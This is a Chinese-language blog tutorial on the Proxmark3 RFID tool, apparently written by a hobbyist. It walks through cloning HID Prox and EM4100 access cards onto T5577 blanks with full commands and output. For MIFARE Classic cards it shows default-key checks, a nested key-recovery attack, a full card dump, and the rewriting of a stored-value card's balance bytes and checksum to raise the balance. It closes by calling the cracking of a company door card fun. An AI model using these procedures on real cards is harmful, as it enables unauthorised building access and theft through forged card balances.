
隨著智能設(shè)備NFC功能的普及,用RFID卡支付現(xiàn)金的模式也越加流行。現(xiàn)在的非接觸式卡片(包括但不限于社保卡、飯卡、交通卡、門禁卡等)都是使用的RFID技術(shù)。
這么看來射頻識別技術(shù)(RFID)是一個應(yīng)用相當(dāng)廣泛的技術(shù),智能卡通常會被做成小鑰匙扣、卡片以及貼紙的樣子。你可以在很多不同的系統(tǒng)設(shè)備中看到它出現(xiàn)的影子,而且往往都是與取款以及門禁系統(tǒng)有關(guān)。我對無線技術(shù)十分感興趣,尤其對射頻識別技術(shù)系統(tǒng)感興趣,所以當(dāng)我研究HID iClass系統(tǒng)時,我就入手了一個proxmark3。
proxmark3
Proxmark3是由Jonathan Westhues設(shè)計開發(fā)的開源硬件,其主要用途是實(shí)現(xiàn)RFID的嗅探、讀取以及克隆等等操作。Proxmark3主要是針對RFID而開發(fā)的工具,雖然也有一些其它的工具,但Proxmark3屬于主流工具。它可以嗅探、模擬以及讀取多種不同種類型的RFID,同時它還有一個官方社區(qū),這里有不少同樣的愛好者在里面學(xué)習(xí)交流。

購買Proxmark
在Proxmark官網(wǎng)上已經(jīng)列出了一些供應(yīng)商,你可以在里面選擇一個供應(yīng)商進(jìn)行購買。我購買了Proxmark RDV2,它雖不是開源版本,但卻是在初始版本的改進(jìn)版。值得注意的是,我購買的版本更小巧,同時可以用電池對設(shè)備供電,支持MMCX,而非USB接口。

當(dāng)然你也可以在不同的網(wǎng)站購買設(shè)備,你可以去美國網(wǎng)站Rysc Corp上購買,或就近在香港購買,但需要248美元,如果Rysc Corp上購買則需要299美元(不含運(yùn)費(fèi))。而實(shí)際上我在購買Proxmark RDV2基本上也就需要212.00美元,美國運(yùn)送費(fèi)用為36.30美元(隨運(yùn)送距離不同費(fèi)用也會越高),合計為248.30美元。
如果你仔細(xì)研究會發(fā)現(xiàn),通過AliExpress網(wǎng)站購買,可以省下一大筆錢,花費(fèi)在190美元(包郵),就性價比來說,甚至比“Proxmark 3 Easy”更便宜。

PM3 Easy是Proxmark系列中相對較便宜的版本,售價約為100美元,但卻閹割了一些功能,這個版本僅針對中國國內(nèi)市場的版本,因此刪除了一些功能,刪掉的功能如下:
AT91SAM7S256(內(nèi)存256kb)
移除鋰電池管理和插座模塊
閹割了一些電子元器件,如繼電器和信號放大器
可使用不同的天線連接功能
想了解更多相關(guān)內(nèi)容可以訪問Proxmark官方論壇
總的來說,Proxmark 3的原始版本設(shè)計已經(jīng)過時,你應(yīng)該使用新版本的硬件設(shè)計。
Proxmark 3配置
在硬件方面,根據(jù)你具體使用Proxmark 3(以下簡稱PM3)型號的不同,配置方式也大不相同。原始版本PM3外接USB天線,你可以隨意插拔,但在RDV2上就不能這樣操作,首先你必須要連接MMCX,之后才可以使用RDV2,就相當(dāng)于你需要將這一塊加入主體,即將天線模塊安裝進(jìn)主板中。我沒有這樣做,而是用膠將MMCX以及天線粘黏到板子上。
完成上部分操作之后,你就可以按照PM3說明文檔進(jìn)行配置固件,據(jù)我了解可知,Proxmarks很它使用相同的固件,因此在軟件配置及操作上不會有太大區(qū)別。
我下面的配置并沒有涉及完整的軟件配置,我做到的也僅僅是說明中的一部分。在某些時候,出于性能上的考慮,PM3會將USB接口轉(zhuǎn)化為串行接口,同時使用串行接口可以解決在虛擬機(jī)中運(yùn)行問題。
如果你決定在虛擬機(jī)進(jìn)行操作,那么在Linux會上運(yùn)行會比Windows更好一些,這一點(diǎn)上我不會做出太多說明,但我在后面文章中使用PM3用戶界面時,明顯效果更好一些。我在虛擬機(jī)中安裝Windows 7,或可將GUI(Linux)作為PM3用戶界面。總的來說,燒寫PM3固件可能是一個煩人的過程,但你真的需要做那么一兩次。
RFID技術(shù)
在美國有許多常見的RFID認(rèn)證技術(shù),我下面列舉在日常生活參見的四個:
HID iClass(13.56 MHz)
HID Prox 卡(125 kHz)
EM4100x卡(125 kHz)
MIFARE Classic(13.56 MHz)
我將詳述最后三部分,同時我在下文也會介紹如何讀/寫iClass卡。
對于一些不清楚的RFID 電子標(biāo)簽以及RFID卡,我們將嘗試克隆/修改每個標(biāo)簽的內(nèi)容。首先我們需要弄清楚每張卡片背后的技術(shù)是什么。 一般來說,您可以搜集序列號,制造商信息和數(shù)據(jù)表單信息,然后通過網(wǎng)絡(luò)查詢研究這些信息。PM3可以可以使用指令 lf search、hf search查詢,這兩個命令將分別在低頻(125 kHz)和高頻(13.56 MHz)范圍內(nèi)搜索可用電子標(biāo)簽。
HID ProxCard
我們來看看更受歡迎的HID ProxCard

在卡的正面有一些數(shù)字以及單詞(HID Proximity),如果你去網(wǎng)上搜索,你可以發(fā)現(xiàn)這是一張HID Prox 卡,可以通過Proxmark指令克隆一張卡。
我們可以使用lf search指令搜索前文提到的電子標(biāo)簽
proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 Valid HID Prox ID Found!
我們很清楚這是一張Prox 卡,如果需要將當(dāng)前卡系統(tǒng)從 HID Prox 升級到 HID iCLASS 憑證,就需要特殊指令,我們現(xiàn)在已經(jīng)知道標(biāo)簽ID(2004263f88),但我可以輸入lf hid fskdemod指令讀取智能卡(按下PM3上的按鈕停止掃描)
proxmark3> lf hid fskdemod
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
#db# Stopped
該ID標(biāo)簽(19)以及卡ID(8132)的編碼,你可以在線使用韋根協(xié)議(26位)計算器檢查一下。這就意味著你需要了解數(shù)據(jù)并克隆到卡上(寫入到卡本身)。
大多數(shù)低頻電子標(biāo)簽沒有任何復(fù)雜的認(rèn)證方案或任何防止重放攻擊的保護(hù),所以掃描現(xiàn)有的智能卡,并克隆一張,并不是一件難事。使用高功率讀卡器,可以在距離較遠(yuǎn)的位置竊取RFID電子標(biāo)簽。
我現(xiàn)在已經(jīng)知道標(biāo)簽ID,現(xiàn)在需要一張空白的RFID卡,我們可以克隆標(biāo)簽ID。最好是t5577卡,它可以復(fù)制多種低頻智能卡,包括這里討論的兩個(HID Prox 卡,EM41000卡)。

我已經(jīng)了解到標(biāo)簽ID,那么就可以很輕松的克隆一張卡
proxmark3> lf hid clone 2004263f88
Cloning tag with ID 2004263f88
#db# DONE!
現(xiàn)在T5577卡電子標(biāo)簽應(yīng)該與被克隆卡標(biāo)簽一致,成功了!!
除了讀寫操作之外,PM3還能夠模擬RFID電子標(biāo)簽,但可能沒有你想象的那么直觀,你需要將計算機(jī)連接到PM3上,并執(zhí)行一些指令,這對滲透測試者有幫助,但讀寫操作適用于絕大多數(shù)使用者。
EM4100
EM4100卡不像HID Prox 卡那樣常見,但不代表它不會出現(xiàn),PM3功能同樣適用于它。

我們繼續(xù)使用lf搜索命令
proxmark3> lf search
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 8800180E55
Unique TAG ID : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 01576533
DEZ 10 : 0001576533
DEZ 5.5 : 00024.03669
DEZ 3.5A : 136.03669
DEZ 3.5B : 000.03669
DEZ 3.5C : 024.03669
DEZ 14/IK2 : 00584117128789
DEZ 15/IK3 : 000073016045738
DEZ 20/ZK : 01010000010807001010
}
Other : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1 : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]
Valid EM410x ID Found!
這是一張EM4100卡,我可以使用更多的EM4100 RFID指令,讀取標(biāo)簽ID
proxmark3> lf em4x em410xdemod 1
#db# DownloadFPGA(len: 42096)
#db# EM TAG ID: 8800180e55 - (03669_024_01576533)
獲取標(biāo)簽ID之后,寫入到一張T5577卡中
proxmark3> lf em4x em410xwrite 8800180e55 1
Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xffc62000e20ea94e
大多數(shù)低頻RFID電子標(biāo)簽破解適用于剛?cè)腴T的新手,你僅需要了解讀/寫/克隆/仿真的玩法。
接下來,我們將看看一張更復(fù)雜但最終被破解的智能卡,MIFARE Classic協(xié)議的NFC卡(以下簡稱MIFARE卡)。
MIFARE Classic
NFCA協(xié)議是兼容MifareClassic 協(xié)議的, 我們可以通過NfcA在android的相關(guān)類來處理給予MifareClassic 的RFID卡。MIFARE 卡應(yīng)用很廣泛,它應(yīng)用的領(lǐng)域也大不相同,如公交卡、干洗店洗衣卡、身份證,很不幸的一點(diǎn)就是,這樣的卡也會被破解。
一般來說,給予MifareClassic的射頻卡,一般內(nèi)存大小有3種:
1K: 16個分區(qū)(sector),每個分區(qū)4個塊(block),每個塊(block) 16個byte數(shù)據(jù)
2K: 32個分區(qū),每個分區(qū)4個塊(block),每個塊(block) 16個byte數(shù)據(jù)
4K:64個分區(qū),每個分區(qū)4個塊(block),每個塊(block) 16個byte數(shù)據(jù)
對于所有基于MifareClassic的卡來說,每個區(qū)最后一個塊叫Trailer,16個byte, 主要來存放讀寫該區(qū)的key,可以有A,B兩個KEY,每個key長6byte,默認(rèn)的key一般是FF 或 0,最后一個塊的內(nèi)存結(jié)構(gòu)如下:
Block 0 Data 16bytes
Block 1 Data 16 bytes
Block 2 Data 16 bytes
Block 3 Trailer 16 bytes
Trailer:
Key A: 6 bytesAccess Conditions: 4 bytes
Key B: 6 bytes
所以在寫卡的內(nèi)存的時候,一般不能寫每個sector的最后一個block,除非你有要修改KEY和訪問權(quán)限的需求。如果KEY A 被你不小心修改掉了,而你不知道修改成什么,那與之對應(yīng)的那個sector你就沒有辦法訪問了。因為在MifareClassic中,如果你要讀取數(shù)據(jù),那么必須要有這個數(shù)據(jù)地址所在的sector的權(quán)限,這個權(quán)限就是這個sector的trailer的keyA或KEY B。下面我們將使用高頻天線來讀取高頻MIFARE卡。

我開始使用hf指令搜索并識別MIFARE卡

proxmark3> hf search
#db# DownloadFPGA(len: 42096)
UID : bc 4e a5 35
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search
不幸的是,MIFARE卡不像之前的低頻卡克隆那樣容易,它利用簡單的認(rèn)證方式,阻止我們克隆UID。雖然我們可以從卡中讀取某些塊,但是由于“認(rèn)證錯誤”,其它塊并不可用:
成功讀取
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:ff ff ff ff ff ff
#db# READ BLOCK FINISHED
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00
失敗讀取
proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF
--block no:5, key type:A, key:ff ff ff ff ff ff
#db# Authentication failed. Card timeout.
#db# Auth error
#db# READ BLOCK FINISHED
isOk:00
起初發(fā)現(xiàn)這個問題,我覺得很奇怪,但很快發(fā)現(xiàn)前文提到的key,這是我在網(wǎng)上找到的資料。MIFARE Classic 1K射頻卡有1024字節(jié)可儲存數(shù)據(jù),同時分為分為16個扇區(qū),每個扇區(qū)由兩個不同的key保護(hù)(前文說明的A,B),出于某種原因,一些MIFARE卡僅使用默認(rèn)key,這樣就造成可以利用應(yīng)用程序測試key,并針對卡進(jìn)行測試。
PM3具有“測試key(塊)”指令,它將測試我們的默認(rèn)key。
proxmark3> hf mf chk * ?
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
Found valid key:[ffffffffffff]
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
我可以使用默認(rèn)key(ffffffffffff)讀取大多數(shù)塊,但有些沒有包含在內(nèi)。我可以使用“Nested攻擊”,我們可以使用我們的一個可用的key來識別其它塊的key。
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------
Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| 080808080808 | 1 | ffffffffffff | 1 |
|002| 080808080808 | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 ||006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
注意:在早期Nested 攻擊命令中,輸入d(參數(shù))將key轉(zhuǎn)儲到dumpkeys.bin文件,才能夠保證繼續(xù)使用 MIFARE卡其它指令。現(xiàn)在我們有一個新key,080808080808。該key允許我們讀取隱藏塊。
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa
dumpkeys.bin文件已經(jīng)準(zhǔn)備好,我們可以轉(zhuǎn)儲整個卡的數(shù)據(jù),并將其寫入到空白的MIFARE卡上。
proxmark3> hf mf dump 1
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
...omitted for brevity...
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
借助dumpdata.bin文件,我們可以將此卡的內(nèi)容還原到另一張卡上,輸入命令:hf mf restore 1,然而,克隆一張MIFARE卡效率還是很低(totem pole),使用新key,我就可以讀寫一張空白卡,這種卡通常被作為車票卡,一些人可能會想到是否可以修改里面的金額。先來看看卡中部分轉(zhuǎn)存數(shù)據(jù)
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
得到的數(shù)據(jù)不能解析,再次重復(fù)以上步驟,然后查看數(shù)據(jù)
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
其中一行數(shù)據(jù)由
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
變?yōu)?/span>
3205 0000 cdfa ffff 3205 0000 05fa 05fa
當(dāng)時雖然沒有立刻看明白這行數(shù)據(jù)意思,但已經(jīng)明白卡上肯定存在一個可以變化的數(shù)值,最簡單的一個假設(shè)是,卡正在存儲金額,然后扣去交易額。我們的起始價值(7.75),一個項目的開支成本(2.25)和差值(5.50)。
我們可以將這些數(shù)據(jù)轉(zhuǎn)為16進(jìn)制,為了簡化搜索,我們只需75,將其轉(zhuǎn)換為十六進(jìn)制(0x4b),然后搜索第一個轉(zhuǎn)儲數(shù)據(jù)值:
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
這樣我就發(fā)現(xiàn)了卡存儲金額的部分了,特別是考慮到以下字節(jié)0×07。因此,我們應(yīng)該能夠通過修改這些字節(jié)來增加我們卡的金額。
你可以不需要理解字節(jié)的詳細(xì)含義,它們并不重復(fù),在前面兩次轉(zhuǎn)儲數(shù)據(jù),可以看出沒有什么規(guī)律,這一點(diǎn)上需要小心謹(jǐn)慎,用ffff(前文)替換我們的金額數(shù)值,僅需要重新將獲取的數(shù)據(jù)寫入智能卡中。
注意:有人指出其中兩個數(shù)值b4f8和4b07加起來是ffff,其實(shí)這是校驗和的數(shù)值,讀卡者可以利用這個來確認(rèn)卡的金額是否在交易完成后更新。
我已經(jīng)將卡中數(shù)值更改到17.50,我們可以采取新的轉(zhuǎn)儲數(shù)據(jù)并保存第5塊的結(jié)果(存儲值)。
Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000
現(xiàn)在我們可以無限制將卡中數(shù)值更改到17.50。
寫入(塊)
proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa
--block no:5, key type:A, key:08 08 08 08 08 08
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
#db# WRITE BLOCK FINISHED
isOk:01
讀出(塊)
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
即使沒有使用默認(rèn)key,我們也可以嗅探真實(shí)的讀卡器和卡之間的通信協(xié)議,并獲取關(guān)鍵key。只要我們知道一個現(xiàn)有的key,我們就可以利用前文提到的nested攻擊識別其它key來獲取對該卡的讀/寫訪問。
結(jié)論
通過從事多年RFID卡系統(tǒng)的安全研究,我得出一個結(jié)論,Proxmark 3可以說是研究RFID卡系統(tǒng)的最佳工具,并在研究過程中可以學(xué)習(xí)到很多相關(guān)知識。如果你有興趣克隆RFID卡并了解這些系統(tǒng)的工作原理,我非常建議您選擇ProxMark 3和T5577卡。當(dāng)然你也可以將公司的門禁卡破解之后做成一把屬于自己的小鑰匙,這件事看起來也是比較有趣的。
|